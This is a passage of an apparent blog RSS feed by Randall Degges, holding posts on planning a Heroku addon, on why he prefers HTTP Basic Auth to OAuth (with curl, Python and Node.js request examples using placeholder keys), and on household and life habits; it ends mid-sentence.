Heroku addon: &lt;a href="http://www.vanityaddon.com" title="Heroku Vanity Addon">Vanity&lt;/a> (&lt;em>don&amp;rsquo;t bother checking out the domain, there&amp;rsquo;s nothing
there yet!&lt;/em>).&lt;/p>
&lt;p>The idea for this addon is simple: I want to create an addon which counts all my
Heroku request traffic: and that&amp;rsquo;s basically it. I love vanity metrics, and
there&amp;rsquo;s nothing quite as satisfying (&lt;em>to me at least&lt;/em>) as seeing how many
requests my application has serviced over a given time period.&lt;/p>
&lt;p>Furthermore, I&amp;rsquo;d like to expose a simple API for developers, so they can
pragmatically access this information as well.&lt;/p>
&lt;h2 id="the-plan">The Plan&lt;/h2>
&lt;p>The main plan is to build this addon in a few phases:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Planning. The first thing to do (&lt;em>and what I&amp;rsquo;ll cover in the next article&lt;/em>)
is to lay out everything that needs to be built. We&amp;rsquo;ll make some mockups,
we&amp;rsquo;ll write down exactly what we&amp;rsquo;re going to make, and we&amp;rsquo;ll cover some
overall planning stuff (&lt;em>how much will it cost?&lt;/em>), etc.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Research. In the second article, I&amp;rsquo;ll get into the research aspect. In this
part I&amp;rsquo;ll cover all the documentation / links you need to build an addon, and
discuss how this thing will work in great detail.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Implementing the Addon API. In this article, we&amp;rsquo;ll actually start building
the addon itself. The first part to building an addon is being able to
integrate with Heroku&amp;rsquo;s Addon API &amp;ndash; so that&amp;rsquo;s what we&amp;rsquo;ll do. By the end of
this article we&amp;rsquo;ll be able to create, upgrade, and remove Addon instances.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Implementing the Counting. In this article, we&amp;rsquo;ll write our core addon logic,
which stores request counts for each Addon user.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Implementing a Dashboard. In this article, we&amp;rsquo;ll actually build a Heroku
dashboard page for our addon, and learn how to make it accessible via Heroku
SSO. This dashboard will let users view their request counts, and get their
vanity metrics in a nice format.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Implementing a CLI Plugin. In this article we&amp;rsquo;ll build a Heroku CLI plugin,
so developers can access their request count information via the command line!&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Launching. In this article I&amp;rsquo;ll talk about launching the addon, and how the
process works.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Growing. In this article I&amp;rsquo;ll talk about growing the addon, and scaling it to
support demand.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Review. Finally, I&amp;rsquo;ll cover how the entire process went from start to finish.
We&amp;rsquo;ll look at &lt;em>everything&lt;/em>: how the addon is performing, how many users it
has, how much revenue it&amp;rsquo;s generated (&lt;em>if any&lt;/em>), etc.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Overall, it should be quite fun.&lt;/p>
&lt;p>So&amp;hellip; Stay tuned! More to come =)&lt;/p>
&lt;p>&lt;strong>UPDATE&lt;/strong>: The next part of this series is now available! You can
&lt;a href="https://rdegges.com/2015/building-a-heroku-addon-planning/" title="Building a Heroku Addon - Planning">find it here&lt;/a>.&lt;/p></description></item><item><title>Why I Love Basic Auth</title><link>https://rdegges.com/2015/why-i-love-basic-auth/</link><pubDate>Mon, 23 Mar 2015 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2015/why-i-love-basic-auth/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2015/why-i-love-basic-auth/wall-e-sketch.jpg" alt="Wall-e Sketch" title="Wall-e Sketch">
&lt;/p>
&lt;p>One of the disturbing trends I&amp;rsquo;ve noticed over the past few years is that more
and more API services are slowly ditching support for HTTP Basic Authentication
(&lt;em>aka: Basic Auth&lt;/em>) in favor of OAuth.&lt;/p>
&lt;p>As someone who&amp;rsquo;s been:&lt;/p>
&lt;ul>
&lt;li>Using REST API services for years.&lt;/li>
&lt;li>Has built numerous REST API services.&lt;/li>
&lt;li>Has built and ran a REST API company.&lt;/li>
&lt;li>Is currently working at a large developer-focused REST API company.&lt;/li>
&lt;/ul>
&lt;p>I can&amp;rsquo;t help but feel like this is a &lt;em>bad thing&lt;/em>.&lt;/p>
&lt;p>It&amp;rsquo;s a &lt;em>bad thing&lt;/em> because OAuth (&lt;em>as popular as it is&lt;/em>) is a huge pain in the
ass &amp;ndash; for both the people building the API services as well as the developers
consuming them.&lt;/p>
&lt;p>OAuth is complex, misunderstood, widely misused, and lacking universal
implementations. It most definitely has its uses, but in many cases feels
burdensome.&lt;/p>
&lt;p>Basic Auth, on the other hand, is simple, very well understood, and has been
well supported in every language and framework since the 1990&amp;rsquo;s.&lt;/p>
&lt;h2 id="how-basic-auth-works">How Basic Auth Works&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2015/why-i-love-basic-auth/wall-e-and-eve-sketch.jpg" alt="Wall-e and Eve Sketch" title="Wall-e and Eve Sketch">
&lt;/p>
&lt;p>Let&amp;rsquo;s talk about Basic Auth:&lt;/p>
&lt;ul>
&lt;li>It&amp;rsquo;s a well and clearly defined &lt;a href="http://tools.ietf.org/html/rfc2617" title="HTTP Basic Auth / Digest Auth Spec">specification&lt;/a>.&lt;/li>
&lt;li>It&amp;rsquo;s been around since ~1996.&lt;/li>
&lt;li>It&amp;rsquo;s super simple.&lt;/li>
&lt;/ul>
&lt;p>Here&amp;rsquo;s the short version of how it works.&lt;/p>
&lt;ul>
&lt;li>You are a developer.&lt;/li>
&lt;li>You have an API key pair: an &lt;em>API Key ID&lt;/em> and an &lt;em>API Key Secret&lt;/em>. Each of
these is a randomly generated string (&lt;em>usually a &lt;a href="http://en.wikipedia.org/wiki/Universally_unique_identifier" title="UUID on Wikipedia">uuid&lt;/a>&lt;/em>).&lt;/li>
&lt;li>To authenticate against an API service, all you need to do is put your
credentials into the &lt;a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html" title="HTTP Headers Spec">HTTP Authorization header&lt;/a>.&lt;/li>
&lt;/ul>
&lt;p>Here&amp;rsquo;s an example showing how Basic Auth works on the command line using
&lt;a href="http://curl.haxx.se/" title="cURL">cURL&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> curl --user &lt;span class="s1">&amp;#39;xxx:yyy&amp;#39;&lt;/span> https://api.someapi.com/v1/blah
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Here&amp;rsquo;s some Python code showing how it works:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&amp;gt;&amp;gt;&lt;/span> &lt;span class="kn">from&lt;/span> &lt;span class="nn">requests&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">get&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&amp;gt;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&amp;gt;&amp;gt;&lt;/span> &lt;span class="n">api_key_id&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;xxx&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&amp;gt;&amp;gt;&lt;/span> &lt;span class="n">api_key_secret&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;yyy&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&amp;gt;&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&amp;gt;&amp;gt;&lt;/span> &lt;span class="n">resp&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;https://api.someapi.com/v1/blah&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">auth&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">api_key_id&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">api_key_secret&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">&amp;gt;&amp;gt;&amp;gt;&lt;/span> &lt;span class="nb">print&lt;/span> &lt;span class="n">resp&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">json&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And if that isn&amp;rsquo;t enough, here&amp;rsquo;s some Node.js code showing it as well:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="line">&lt;span class="cl">&lt;span class="kd">var&lt;/span> &lt;span class="nx">request&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;request&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">var&lt;/span> &lt;span class="nx">api_key_id&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;xxx&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">var&lt;/span> &lt;span class="nx">api_key_secret&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;yyy&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">request&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">url&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="s1">&amp;#39;https://api.someapi.com/v1/blah&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">auth&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;user&amp;#39;&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">api_key_id&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;pass&amp;#39;&lt;/span>&lt;span class="o">:&lt;/span> &lt;span class="nx">api_key_secret&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">},&lt;/span> &lt;span class="kd">function&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">err&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">resp&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">body&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">body&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Isn&amp;rsquo;t that simple?&lt;/p>
&lt;p>All Basic Auth lets you do (&lt;em>at a high level of abstraction&lt;/em>) is specify your
credentials. That&amp;rsquo;s it.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: &lt;em>Yes, I know that technically it&amp;rsquo;s a little bit more complicated than
this. There&amp;rsquo;s base64 encoding, there&amp;rsquo;s the HTTP Authorization header format,
etc., but for argument&amp;rsquo;s sake I&amp;rsquo;m leaving that out as it&amp;rsquo;s not important in this
context.&lt;/em>&lt;/p>
&lt;p>Basic Auth is great for developers because it&amp;rsquo;s simple, intuitive, and easy to
use.&lt;/p>
&lt;p>Let&amp;rsquo;s say you&amp;rsquo;re integrating with an API service, all you do is create an API
Key Pair, and start making requests!&lt;/p>
&lt;p>What do you do if you accidentally publicize your API Key Pair and it&amp;rsquo;s
compromised? Well&amp;hellip; You just create another API Key Pair, put that into your
application code, and get rid of the old one!&lt;/p>
&lt;p>When used properly, Basic Auth can be a great choice for securing REST APIs.&lt;/p>
&lt;h2 id="its-simple">It&amp;rsquo;s Simple&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2015/why-i-love-basic-auth/wall-e-eyes-sketch.png" alt="Wall-e Eyes Sketch" title="Wall-e Eyes Sketch">
&lt;/p>
&lt;p>My favorite thing about Basic Auth is that it&amp;rsquo;s &lt;em>simple&lt;/em>.&lt;/p>
&lt;p>Unlike OAuth, there&amp;rsquo;s no intermediary steps you need to go through to get an
access token: all you need are your API keys.&lt;/p>
&lt;p>This makes a &lt;em>huge&lt;/em> difference in development speed.&lt;/p>
&lt;p>Instead of spending a lot of time figuring out what permissions and scopes you
need granted, setting up redirect URIs, web servers, and all this crap that
only serves to complicate matters &amp;ndash; all you need to do is put your damn API
keys into the HTTP Authorization header and &lt;em>BAM&lt;/em>, shit works.&lt;/p>
&lt;p>Because it&amp;rsquo;s so simple, you can get a lot of work and testing done faster.&lt;/p>
&lt;p>You also don&amp;rsquo;t need to worry about things like:&lt;/p>
&lt;ul>
&lt;li>Token expiration. &lt;em>Cough, cough OAUTH!&lt;/em>&lt;/li>
&lt;li>Providers changing their implementations. &lt;em>Just about every single OAuth
provider has changed their implementations numerous times, breaking thousands
of developer applications.&lt;/em>&lt;/li>
&lt;li>Complex workflows for getting access to your data. &lt;em>OAuth2 has 4 different
grant types, each of which is used in a different way and for different
purposes.&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>Every time I use a service like &lt;a href="https://www.twilio.com/" title="Twilio">Twilio&lt;/a>, I&amp;rsquo;m reminded how convenient Basic
Auth is to use: it&amp;rsquo;s truly a pleasure to be able to:&lt;/p>
&lt;ul>
&lt;li>Generate and destroy API keys on command.&lt;/li>
&lt;li>Easily throw API keys into whatever apps I&amp;rsquo;m currently hacking on.&lt;/li>
&lt;li>Easily test my API requests out via the command line or an API explorer like
&lt;a href="https://www.runscope.com" title="Runscope">Runscope&lt;/a>.&lt;/li>
&lt;/ul>
&lt;p>I just love it.&lt;/p>
&lt;h2 id="its-secure">It&amp;rsquo;s Secure&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2015/why-i-love-basic-auth/wall-e-upside-down-sketch.jpg" alt="Wall-e Upside Down Sketch" title="Wall-e Upside Down Sketch">
&lt;/p>
&lt;p>Basic Auth gets a bad reputation for being &lt;em>&amp;ldquo;insecure&amp;rdquo;&lt;/em>, but this isn&amp;rsquo;t
necessarily true.&lt;/p>
&lt;p>There are several things you can do to ensure that your API service (&lt;em>secured by
Basic Auth&lt;/em>) is as secure as possible:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Always run all requests over HTTPs. If you&amp;rsquo;re not using SSL, than no matter
what authentication protocol you use, you&amp;rsquo;ll never be secure. Unless you&amp;rsquo;re
using HTTPs, all of your credentials will be sent in plain-text over the wire:
&lt;em>a horrible idea&lt;/em>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Give your developers the ability to generate as many API key pairs as they&amp;rsquo;d
like. This makes it easy for developers to &lt;em>isolate&lt;/em> their usage of an API
key pair to a single application or service.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Give your developers the ability to revoke API key access when they need to.
For instance: if a developer accidentally leaks his API keys on Github, he
should be able to revoke that API key pair, thereby guaranteeing it can&amp;rsquo;t be
used by anyone else.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Generate random API key pairs using &lt;a href="http://en.wikipedia.org/wiki/Universally_unique_identifier" title="UUID on Wikipedia">uuids&lt;/a>. This ensures API key pairs
aren&amp;rsquo;t &lt;em>guessable&lt;/em>.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>Furthermore, for developers &lt;em>using Basic Auth&lt;/em>, there are a few things you
should always keep in mind:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Store your API keys securely. If you&amp;rsquo;re using an API service that supports
Basic Auth, be sure to not do things like store your API keys in your public
Github repo.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Don&amp;rsquo;t use an API service that isn&amp;rsquo;t run over HTTPs &amp;ndash; you&amp;rsquo;re guaranteed to
have problems in the future.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Use a unique API key pair for each application you write. This way, if you
accidentally lose an API key or leak it publicly, you only need to revoke
&lt;em>that specific API key&lt;/em>, and you only need to update &lt;em>a single codebase that
relied on that API key&lt;/em>. This will make your life much easier in the long
run.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>If you&amp;rsquo;re looking for a good example of an API company that handles API keys the
right way, check out &lt;a href="http://aws.amazon.com/" title="Amazon Web Services">AWS&lt;/a>.&lt;/p>
&lt;h2 id="universally-supported">Universally Supported&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2015/why-i-love-basic-auth/wall-e-happy-sketch.jpg" alt="Wall-e Happy Sketch" title="Wall-e Happy Sketch">
&lt;/p>
&lt;p>Another great thing about Basic Auth is that there&amp;rsquo;s only one implementation
everyone uses &amp;ndash; this means that there&amp;rsquo;s never any ambiguity about how to craft
requests or server-side components: it&amp;rsquo;s always the same.&lt;/p>
&lt;p>The way it works is like this:&lt;/p>
&lt;ul>
&lt;li>You take the API Key ID and the API Key Secret, and you put them into a
colon-separated string like so: &lt;code>'xxx:yyy'&lt;/code>.&lt;/li>
&lt;li>You then prepend the word &lt;code>'Basic '&lt;/code> to the string, so that you have: &lt;code>'Basic xxx:yyy'&lt;/code>.&lt;/li>
&lt;li>You then &lt;a href="http://en.wikipedia.org/wiki/Base64" title="Base64 on Wikipedia">base64&lt;/a> encode the API key portion of the string, so you end up
with: &lt;code>'Basic eHh4Onl5eQ=='&lt;/code>.&lt;/li>
&lt;li>Lastly, you set this value as your HTTP Authorization header when you make
your HTTP requests.&lt;/li>
&lt;/ul>
&lt;p>When the web server receives your request, it then:&lt;/p>
&lt;ul>
&lt;li>base64 decodes the header value.&lt;/li>
&lt;li>Splits the string by the colon character.&lt;/li>
&lt;li>The left-hand portion is the API Key ID, the right hand portion is the API Key
Secret.&lt;/li>
&lt;li>The server then validates these credentials, and either allows you access or
returns an &lt;em>HTTP 401 UNAUTHORIZED&lt;/em> response.&lt;/li>
&lt;/ul>
&lt;p>There&amp;rsquo;s nothing ambiguous about Basic Auth. This means every programming
language has top-notch support for the standard, and it&amp;rsquo;s easy to find well
audited libraries for using Basic Auth as both a producer and consumer.&lt;/p>
&lt;h2 id="my-hope">My Hope&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2015/why-i-love-basic-auth/wall-e-love-sketch.jpg" alt="Wall-e Love Sketch" title="Wall-e Love Sketch">
&lt;/p>
&lt;p>My hope is that while OAuth continues to rise in popularity, developers continue
to support Basic Auth to the maximum possible extent.&lt;/p>
&lt;p>Not only does this make my life as a developer easier, but it also makes it more
enjoyable.&lt;/p>
&lt;p>For any API services out there that trust their developers, you really can&amp;rsquo;t go
wrong by supporting Basic Auth.&lt;/p>
&lt;p>And&amp;hellip; Even for those services that &lt;em>don&amp;rsquo;t trust their developers&lt;/em> &amp;ndash; namely
consumer services like Google, Facebook, Fitbit, etc. &amp;ndash; it&amp;rsquo;s still a good idea
for them to support Basic Auth. This, at the very least, empowers their users
to pragmatically access their &lt;em>own data&lt;/em> without jumping through the OAuth
hoops.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: &lt;em>I realize this is a somewhat controversial topic. I&amp;rsquo;ve ended up
writing numerous drafts of this article, only to throw them away as their scope
has grown too much. In the future, I plan to write many more articles
discussing the various pitfalls of both OAuth and Basic Auth, diving into more
in-depth technical reasons for my opinions.&lt;/em>&lt;/p></description></item><item><title>Leaving Things Better Off</title><link>https://rdegges.com/2015/leaving-things-better-off/</link><pubDate>Sun, 15 Mar 2015 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2015/leaving-things-better-off/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2015/leaving-things-better-off/robot-character-sketch.jpg" alt="Robot Character Sketch" title="Robot Character Sketch">
&lt;/p>
&lt;p>When Sami and I first got married (&lt;em>almost 5 years ago, now!&lt;/em>), our biggest
source of marital frustration and unhappiness was chores. More specifically:
the fact that I didn&amp;rsquo;t do them.&lt;/p>
&lt;p>Growing up, my mom always ran our household, and did everything for me and my
siblings: laundry, dishes, cleaning, cooking &amp;ndash; all of it. After getting
married, I subconsciously expected the same. So I did what I was used to doing:
nothing.&lt;/p>
&lt;p>I&amp;rsquo;d avoid dirty dishes, let my laundry pile up for weeks, and before our first
month had ended, our brand new apartment was pretty disorganized.&lt;/p>
&lt;p>To make things worse, I&amp;rsquo;m a bit of a clean freak, so this led to some hardcore
arguments between the two of us. We&amp;rsquo;d both get upset with each other, or even
worse, try to &lt;em>not get upset&lt;/em> with each other and let the problems continue.&lt;/p>
&lt;p>After talking about things, we decided to split up duties a bit more evenly.
And while we&amp;rsquo;ve had various successes and failures over the years in this
regard, things are much better.&lt;/p>
&lt;p>Around the time we both finally opened up and talked with each other about this
problem, I had just finished reading &lt;a href="http://www.amazon.com/gp/product/0984087311/ref=as_li_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=0984087311&amp;amp;linkCode=as2&amp;amp;tag=randdegg-20&amp;amp;linkId=PNLDD6DVTWQ66KG6" title="The Joy of Less">The Joy of Less&lt;/a> (&lt;em>a good book on
minimalism&lt;/em>), and had some ideas of how to improve things.&lt;/p>
&lt;p>One of the simplest ways I&amp;rsquo;ve found to improve problems like the one I was
having is to just &lt;em>always leave things better off than they were before you found
them&lt;/em>.&lt;/p>
&lt;p>To help with dishes, for instance, what I started doing was pretty basic: every
time I went to put something into the sink, I&amp;rsquo;d wash and put away two other
things in the sink. This way, by the time I left the kitchen, the net dirty
dishes pile had decreased by 1.&lt;/p>
&lt;p>Over time, I&amp;rsquo;ve found that this is by far the simplest and most effective method
to cleaning (&lt;em>and life in general&lt;/em>) that helps to avoid big issues and
frustrating experiences.&lt;/p>
&lt;p>Instead of dealing with big pile-up-problems in one sitting, it&amp;rsquo;s a lot less
mentally and emotionally taxing to simply make things a little bit better when
you can. An extra 30 seconds a few times a day is a lot less daunting than a
single, 3 hour cleaning experience.&lt;/p>
&lt;p>What&amp;rsquo;s really interesting, though, is when you apply this concept to other areas
of your life as well.&lt;/p>
&lt;p>The next time you start adding a feature to your company codebase &amp;ndash; be on the
lookout for a way to positively improve code quality. Maybe you could add in a
unit test, fix a typo in a variable name, or even do something small like
improve a comment or remove some trailing whitespace.&lt;/p>
&lt;p>Over time, this sort of thing adds up and before long you&amp;rsquo;ll have substantially
improved the code quality of your projects, with very little effort.&lt;/p>
&lt;p>What I&amp;rsquo;ve learned over the years is that by really adopting the mindset of
&lt;em>&amp;ldquo;leave things better off than they were before you found them&amp;rdquo;&lt;/em>, I don&amp;rsquo;t only
tend to solve my existing problems, but I also prevent new ones entirely.&lt;/p>
&lt;p>If you&amp;rsquo;re currently dealing with a big problem, maybe the solution doesn&amp;rsquo;t have
to be so hard: just make it a little bit less of a problem every day =)&lt;/p></description></item><item><title>Enjoy Your Life</title><link>https://rdegges.com/2015/enjoy-your-life/</link><pubDate>Sat, 07 Mar 2015 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2015/enjoy-your-life/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2015/enjoy-your-life/crane-sketch.jpg" alt="Crane Sketch" title="Crane Sketch">
&lt;/p>
&lt;p>Life can be really hard sometimes. Everyone has a million responsibilities:
family, friends, work, hobbies, ambitions, etc. It can all be a lot to deal
with on a daily basis.&lt;/p>
&lt;p>Over the past several years I&amp;rsquo;ve experienced this first hand: I&amp;rsquo;ve gone from
having practically no pressure and responsibility &lt;em>at all&lt;/em> to having important
jobs and roles at companies, a real family to spend time with and care for, and
lots of friends, hobbies, and ambitions to balance on my free time.&lt;/p>
&lt;p>Overall, I think I&amp;rsquo;ve come to cope pretty well. I&amp;rsquo;ve definitely had my moments
where I was completely overwhelmed (&lt;em>just ask my wife&lt;/em>), but in general, I&amp;rsquo;ve
learned to enjoy my life as much as possible while managing everything else
pretty well.&lt;/p>
&lt;p>Because I see so many friends and acquaintances going through the same things as
I have, I thought I&amp;rsquo;d take a moment to write out what I do on a daily basis to
help alleviate some of the pressures of life, and what has really helped me
enjoy my life more.&lt;/p>
&lt;h2 id="focus-on-the-present">Focus on the Present&lt;/h2>
&lt;p>The simplest way to start enjoying your life, and the only absolutely 100%
guaranteed strategy I&amp;rsquo;ve learned is to put &lt;em>all of your energy and focus&lt;/em> into
whatever it is you&amp;rsquo;re currently doing.&lt;/p>
&lt;p>It doesn&amp;rsquo;t matter whether you&amp;rsquo;re working out at the gym, dealing with a
stressful last minute meeting, or handling something in-between: there&amp;rsquo;s
something &lt;em>deeply&lt;/em>, personally satisfying about &lt;em>living in the moment&lt;/em>.&lt;/p>
&lt;p>It gets your mind off of your worries and pressures, and instead puts you into
&lt;em>action mode&lt;/em>: the mode where you actually get shit done.&lt;/p>
&lt;p>I&amp;rsquo;ve never once in my life regretted taking action when I was stressed &amp;ndash; if
anything, I&amp;rsquo;ve regretted &lt;em>not taking more action&lt;/em>.&lt;/p>
&lt;p>One of the things I tend to do (&lt;em>and I&amp;rsquo;m sure you&amp;rsquo;ve done this before as well&lt;/em>)
is to build up a huge mental list of all the things I need to do: chores, work,
doctor&amp;rsquo;s appointments, gym, family, etc. It&amp;rsquo;s overwhelming, and pretty scary.&lt;/p>
&lt;p>Since I&amp;rsquo;m almost never caught up with all that I have to do, it becomes a bigger
and bigger mental strain. The more time that passes, the more irritable and
annoyed I become. I feel stressed, and rapidly start dreading my life.&lt;/p>
&lt;p>By doubling down and focusing on the present moment and exactly what I&amp;rsquo;m
doing, all that stress instantly falls away. It&amp;rsquo;s very freeing.&lt;/p>
&lt;h2 id="forget-about-past-accomplishments">Forget About Past Accomplishments&lt;/h2>
&lt;p>This was a tough lesson for me to learn, personally. I&amp;rsquo;ve had some limited
successes in my life: starting a company, writing a book, accomplishing a lot of
work goals, losing weight, getting into shape, etc.&lt;/p>
&lt;p>There was a time when instead of focusing on new goals and opportunities, I&amp;rsquo;d
simply sit at home relaxing, feeling confident in myself because of past
successes.&lt;/p>
&lt;p>Unfortunately, this is nothing more than procrastination.&lt;/p>
&lt;p>If you ever find yourself in a situation where you&amp;rsquo;re spending more time
reflecting on the cool things you&amp;rsquo;ve previously done &amp;ndash; instead of actually
&lt;em>doing new things&lt;/em> &amp;ndash; you&amp;rsquo;re wasting your time.&lt;/p>
&lt;p>I&amp;rsquo;ve regretted so much time that I&amp;rsquo;ve wasted simply being content with myself,
instead of pushing myself into new, uncomfortable territories.&lt;/p>
&lt;p>If you&amp;rsquo;re looking for a way to motivate yourself for the next big thing, stop
focusing on the past, and start looking towards the future. Not having a big
&amp;lsquo;buffer&amp;rsquo; of comfort behind you makes it all the easier.&lt;/p>
&lt;h2 id="be-hard-on-yourself">Be Hard on Yourself&lt;/h2>
&lt;p>One of the most important lessons I&amp;rsquo;ve learned in my entire life is to be
constantly hard on myself.&lt;/p>
&lt;p>I&amp;rsquo;m the sort of person who, if unchecked, will happily sit around all day doing
nothing. It&amp;rsquo;s just human nature, after all. I was raised by two parents who
provided plenty of positive encouragement and always made me feel special, so
as an adult, I&amp;rsquo;m often tempted to view myself this way.&lt;/p>
&lt;p>The best thing I ever did was to start being hard on myself, and demanding more.&lt;/p>
&lt;p>I realized at some point (&lt;em>years ago&lt;/em>) that I wanted to be the best possible
version of myself: I wanted to be as strong as possible, as productive as
possible, and as forward thinking as possible. There&amp;rsquo;s no way to do that if
you&amp;rsquo;re easy with yourself.&lt;/p>
&lt;p>If you&amp;rsquo;re noticing days pass by you where you can&amp;rsquo;t think of any forward
progress you&amp;rsquo;re making, then you&amp;rsquo;re not pushing yourself hard enough. &lt;em>You&amp;rsquo;re
not demanding enough of yourself.&lt;/em>&lt;/p>
&lt;p>If you truly want to be a better person (&lt;em>in any way: physically, mentally,
monetarily, whatever&lt;/em>), you have to constantly push the envelope. You&amp;rsquo;ve got to
set clear plans for yourself, and execute them every single day.&lt;/p>
&lt;p>You&amp;rsquo;ll most definitely mess up, but when you do, just look forward and double
your efforts.&lt;/p>
&lt;p>If you&amp;rsquo;re having trouble finding the motivation to push yourself, just think
about what the ideal version of you would do. Unless the answer is &lt;em>&amp;ldquo;sit around
doing nothing&amp;rdquo;&lt;/em>, then dig deep down, take a big breath, and continue pushing
forward.&lt;/p>
&lt;h2 id="be-light-with-others">Be Light with Others&lt;/h2>
&lt;p>While being very hard on yourself is a good idea, the opposite is true of other
people.&lt;/p>
&lt;p>Instead of holding other people to your standards, try to do the opposite:
